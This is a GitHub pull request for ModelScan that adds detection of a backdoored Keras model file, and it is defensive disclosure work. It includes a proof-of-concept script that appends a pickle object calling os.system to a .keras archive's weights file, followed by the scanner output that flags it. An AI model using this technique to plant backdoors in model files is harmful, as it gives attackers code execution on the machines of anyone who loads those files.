Skip to content

Conversation

@12end
Copy link

@12end 12end commented Mar 4, 2025

Hi, I submitted a Keras sample on Huntr that was ignored by ModelScan, and I have written code to support the detection of this sample.

evil model poc:

import zipfile
import pickle
import tensorflow as tf
from keras.src.saving.saving_lib import save_model
def build_keras_model(path):
    model = tf.keras.Sequential()
    model.add(tf.keras.layers.Input(shape=(1,)))
    model.add(tf.keras.layers.Dense(1))
    model.compile()
    save_model(model,path,weights_format="npz")

build_keras_model("./model.keras")
class array(object):
    def __reduce__(self):
        return (os.system,('id',))

with zipfile.ZipFile('./model.keras', 'a') as zf:
    with zf.open('model.weights.npz', 'w') as f:
        pickle.dump(array(), f)

import keras
keras.models.load_model('./model.keras')

result:

/Users/user/Library/Caches/pypoetry/virtualenvs/modelscan-Nl8ILvHF-py3.12/bin/python -m modelscan scan -p /Users/user/Documents/LLM/ModelPoisoning/model.keras 
No settings file detected at /Users/user/Desktop/modelscan/modelscan-settings.toml. Using defaults. 

Scanning /Users/user/Documents/LLM/ModelPoisoning/model.keras using modelscan.scanners.KerasLambdaDetectScan model scan
Scanning /Users/user/Documents/LLM/ModelPoisoning/model.keras using modelscan.scanners.KerasWeightsPickleScan model scan

--- Summary ---

Total Issues: 1

Total Issues By Severity:

    - LOW: 0
    - MEDIUM: 0
    - HIGH: 0
    - CRITICAL: 1

--- Issues by Severity ---

--- CRITICAL ---

Unsafe operator found:
  - Severity: CRITICAL
  - Description: Use of unsafe operator 'system' from module 'os'
  - Source: /Users/v/Documents/LLM/ModelPoisoning/model.keras:model.weights.npz

--- Skipped --- 

Total skipped: 3 - run with --show-skipped to see the full list.

Keras file backdoor that modelscan cannot check out in keras_native

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

2 participants